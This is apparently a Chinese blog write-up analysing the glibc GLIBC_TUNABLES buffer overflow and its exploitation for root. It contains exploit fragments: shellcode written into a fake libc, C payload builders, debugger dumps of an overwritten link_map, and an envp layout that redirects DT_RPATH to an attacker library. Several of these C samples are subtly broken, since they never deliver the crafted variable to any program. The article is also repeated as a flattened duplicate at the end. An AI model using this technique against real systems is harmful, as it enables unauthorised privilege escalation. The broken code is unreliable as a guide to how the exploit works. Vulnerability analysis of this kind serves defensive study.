一次glibc 提权漏洞的分析与调试
字数 1320 2025-08-19 12:41:42

GLIBC_TUNABLES 环境变量缓冲区溢出漏洞分析与利用

漏洞概述

这是一个存在于 glibc 中的缓冲区溢出漏洞,影响版本包括:

  • glibc 2.35-0ubuntu3 (aarch64)
  • glibc 2.36-9+deb12u2 (amd64)

漏洞发生在 GLIBC_TUNABLES 环境变量处理过程中,攻击者可以通过精心构造的环境变量值触发缓冲区溢出,最终可能导致权限提升。

漏洞原理

关键函数分析

漏洞主要存在于 elf/dl-tunables.c 文件中的 parse_tunables 函数:

static void parse_tunables(char *tunestr, char *valstring) {
    if (tunestr == NULL || *tunestr == '\0')
        return;
    
    char *p = tunestr;
    size_t off = 0;
    
    while (true) {
        char *name = p;
        size_t len = 0;
        
        /* First, find where the name ends. */
        while (p[len] != '=' && p[len] != ':' && p[len] != '\0')
            len++;
        
        /* If we reach the end of the string before getting a valid name-value pair, bail out. */
        if (p[len] == '\0') {
            if (__libc_enable_secure)
                tunestr[off] = '\0';
            return;
        }
        
        /* We did not find a valid name-value pair before encountering the colon. */
        if (p[len]== ':') {
            p += len + 1;
            continue;
        }
        
        p += len + 1;
        /* Take the value from the valstring since we need to NULL terminate it. */
        char *value = &valstring[p - tunestr];
        len = 0;
        
        while (p[len] != ':' && p[len] != '\0')
            len++;
        
        /* Add the tunable if it exists. */
        for (size_t i = 0; i < sizeof(tunable_list) / sizeof(tunable_t); i++) {
            tunable_t *cur = &tunable_list[i];
            if (tunable_is_name(cur->name, name)) {
                /* If we are in a secure context (AT_SECURE) then ignore the tunable unless it is explicitly marked as secure. */
                if (__libc_enable_secure) {
                    if (cur->security_level != TUNABLE_SECLEVEL_SXID_ERASE) {
                        if (off > 0)
                            tunestr[off++] = ':';
                        const char *n = cur->name;
                        while (*n != '\0')
                            tunestr[off++] = *n++;
                        tunestr[off++] = '=';
                        for (size_t j = 0; j < len; j++)
                            tunestr[off++] = value[j];
                    }
                    if (cur->security_level != TUNABLE_SECLEVEL_NONE)
                        break;
                }
                value[len] = '\0';
                tunable_initialize(cur, value);
                break;
            }
        }
        
        if (p[len] != '\0')
            p += len + 1;
    }
}

漏洞触发条件

  1. __libc_enable_secure 启用时(在安全上下文中)
  2. 处理 GLIBC_TUNABLES 环境变量
  3. 环境变量值长度超过分配的内存空间

漏洞形成过程

  1. 存在一个名为 GLIBC_TUNABLES 的环境变量
  2. 该环境变量的值使用 tunables_strdup 函数进行处理(类似于 strdup
  3. 此时 libc 还没有初始化完成,使用的是 __minimal_malloc 分配内存
  4. 调用 parse_tunables 函数处理环境变量值
  5. __libc_enable_secure 启用且安全等级不是 TUNABLE_SECLEVEL_SXID_ERASE 时,会对环境变量进行处理
  6. 处理过程中没有正确检查边界,导致缓冲区溢出

漏洞利用

利用思路

  1. 通过修改 GLIBC_TUNABLES 的值来替换 libc 的加载路径
  2. 加载攻击者修改过的恶意库
  3. 找到一个合适的栈地址来覆盖原始的 libc 加载路径
  4. 使用 ASLR 关闭的方式来尝试利用该漏洞

关键利用代码

with open(hax_path["path"] + b"/libc.so.6", "wb") as fh:
    fh.write(libc_e.d[0:__libc_start_main])
    fh.write(shellcode)
    fh.write(libc_e.d[__libc_start_main + len(shellcode):])

利用步骤详解

  1. 构造恶意环境变量
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void *__minimal_malloc(size_t size) {
    return malloc(size);
}

int main() {
    char fill[0xd00];
    const char *prefix = "GLIBC_TUNABLES=glibc.malloc.mxfast=";
    strcpy(fill, prefix);
    size_t prefixLength = strlen(prefix);
    
    for (size_t i = prefixLength; i < sizeof(fill) - 1; i++) {
        fill[i] = 'A';
    }
    fill[sizeof(fill) - 1] = '\0';
    
    void *allocatedMemory = __minimal_malloc(0xd00 + 1);
    free(allocatedMemory);
    return 0;
}
  1. 内存布局分析
RAX 0x7f4109f8f2e0 ?— 0x0
pwndbg> vmmap
0x7f4109f8c000 0x7f4109f90000 rw-p 4000 37000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2

> hex(0x7f4109f8f2e0 + 0xd01)
'0x7f4109f8ffe1'
> hex(0x7f4109f90000 - 0x7f4109f8ffe1)
'0x1f'
  1. 覆盖 link_map 结构

攻击目标是 struct link_mapl_info[DT_RPATH] 成员变量:

struct link_map {
    ElfW(Addr) l_addr;
    char *l_name;
    ElfW(Dyn) *l_ld;
    struct link_map *l_next, *l_prev;
    struct link_map *l_real;
    Lmid_t l_ns;
    struct libname_list *l_libname;
    ElfW(Dyn) *l_info[DT_NUM + DT_THISPROCNUM + DT_VERSIONTAGNUM + DT_EXTRANUM + DT_VALNUM + DT_ADDRNUM];
    // ...
};
  1. 控制 DT_RPATH

DT_RPATH 是 ELF 文件中的动态链接器标签,用于指定运行时搜索共享库的目录路径。通过覆盖 link_map->l_info[DT_RPATH] 可以控制库加载路径。

  1. 构造 payload
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void* __minimal_malloc(size_t size) {
    return malloc(size);
}

int main() {
    char *payload = (char*)__minimal_malloc(PAYLOAD_SIZE);
    const char *prefix = "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=";
    strcpy(payload, prefix);
    size_t prefixLength = strlen(prefix);
    
    for (size_t i = prefixLength; i < PAYLOAD_SIZE - 1; i++) {
        payload[i] = 'B';
    }
    payload[PAYLOAD_SIZE - 1] = '\0';
    
    free(payload);
    return 0;
}
  1. 调试观察
*RAX 0x7f4908e74c40 ?— 0x0
pwndbg> p *((struct link_map *)$rax)
$1 = {
    l_addr = 4774451407232463713, 
    l_name = 0x4242424242424242 <error: Cannot access memory at address 0x4242424242424242>,
    l_ld = 0x4242424242424242,
    l_next = 0x4242424242424242,
    l_prev = 0x4242424242424242,
    l_real = 0x4242424242424242,
    l_ns = 4774451407313060418,
    l_libname = 0x4242424242424242,
    l_info = {
        0x4242424242424242 <repeats 17 times>,
        0x696c673a42424242,
        0x6f6c6c616d2e6362,
        0x74736166786d2e63,
        0x3d,
        0x0 <repeats 24 times>,
        0x2e6362696c673a00,
        0x6d2e636f6c6c616d,
        0x3d7473616678,
        0x0 <repeats 29 times>
    },
    // ...
}
  1. 最终利用

通过精确控制内存布局,将 link_map->l_info[DT_RPATH] 指向攻击者控制的路径,从而加载恶意库:

for (int i = 2; i<ENVP_SIZE-1; i++)
    envp[i] = "";
envp[0x20 + 0xb8] = "\x28\x40\x40";

漏洞修复

  1. parse_tunables 函数中添加边界检查
  2. 确保在处理环境变量时不会越界写入
  3. 更新到修复后的 glibc 版本

总结

该漏洞利用 GLIBC_TUNABLES 环境变量处理过程中的缓冲区溢出,通过精心构造的环境变量值覆盖关键内存结构,最终实现加载恶意库并获取 root 权限。漏洞利用的关键在于:

  1. 理解 parse_tunables 函数的处理逻辑
  2. 控制 link_map 结构的 l_info[DT_RPATH] 成员
  3. 精确计算内存布局和偏移
  4. 构造能够触发溢出的环境变量值

此漏洞展示了环境变量处理不当可能带来的严重后果,特别是在系统库的早期初始化阶段。

GLIBC_ TUNABLES 环境变量缓冲区溢出漏洞分析与利用 漏洞概述 这是一个存在于 glibc 中的缓冲区溢出漏洞,影响版本包括: glibc 2.35-0ubuntu3 (aarch64) glibc 2.36-9+deb12u2 (amd64) 漏洞发生在 GLIBC_ TUNABLES 环境变量处理过程中,攻击者可以通过精心构造的环境变量值触发缓冲区溢出,最终可能导致权限提升。 漏洞原理 关键函数分析 漏洞主要存在于 elf/dl-tunables.c 文件中的 parse_tunables 函数: 漏洞触发条件 当 __libc_enable_secure 启用时(在安全上下文中) 处理 GLIBC_TUNABLES 环境变量 环境变量值长度超过分配的内存空间 漏洞形成过程 存在一个名为 GLIBC_TUNABLES 的环境变量 该环境变量的值使用 tunables_strdup 函数进行处理(类似于 strdup ) 此时 libc 还没有初始化完成,使用的是 __minimal_malloc 分配内存 调用 parse_tunables 函数处理环境变量值 当 __libc_enable_secure 启用且安全等级不是 TUNABLE_SECLEVEL_SXID_ERASE 时,会对环境变量进行处理 处理过程中没有正确检查边界,导致缓冲区溢出 漏洞利用 利用思路 通过修改 GLIBC_TUNABLES 的值来替换 libc 的加载路径 加载攻击者修改过的恶意库 找到一个合适的栈地址来覆盖原始的 libc 加载路径 使用 ASLR 关闭的方式来尝试利用该漏洞 关键利用代码 利用步骤详解 构造恶意环境变量 : 内存布局分析 : 覆盖 link_ map 结构 : 攻击目标是 struct link_map 的 l_info[DT_RPATH] 成员变量: 控制 DT_ RPATH : DT_RPATH 是 ELF 文件中的动态链接器标签,用于指定运行时搜索共享库的目录路径。通过覆盖 link_map->l_info[DT_RPATH] 可以控制库加载路径。 构造 payload : 调试观察 : 最终利用 : 通过精确控制内存布局,将 link_map->l_info[DT_RPATH] 指向攻击者控制的路径,从而加载恶意库: 漏洞修复 在 parse_tunables 函数中添加边界检查 确保在处理环境变量时不会越界写入 更新到修复后的 glibc 版本 总结 该漏洞利用 GLIBC_ TUNABLES 环境变量处理过程中的缓冲区溢出,通过精心构造的环境变量值覆盖关键内存结构,最终实现加载恶意库并获取 root 权限。漏洞利用的关键在于: 理解 parse_tunables 函数的处理逻辑 控制 link_map 结构的 l_info[DT_RPATH] 成员 精确计算内存布局和偏移 构造能够触发溢出的环境变量值 此漏洞展示了环境变量处理不当可能带来的严重后果,特别是在系统库的早期初始化阶段。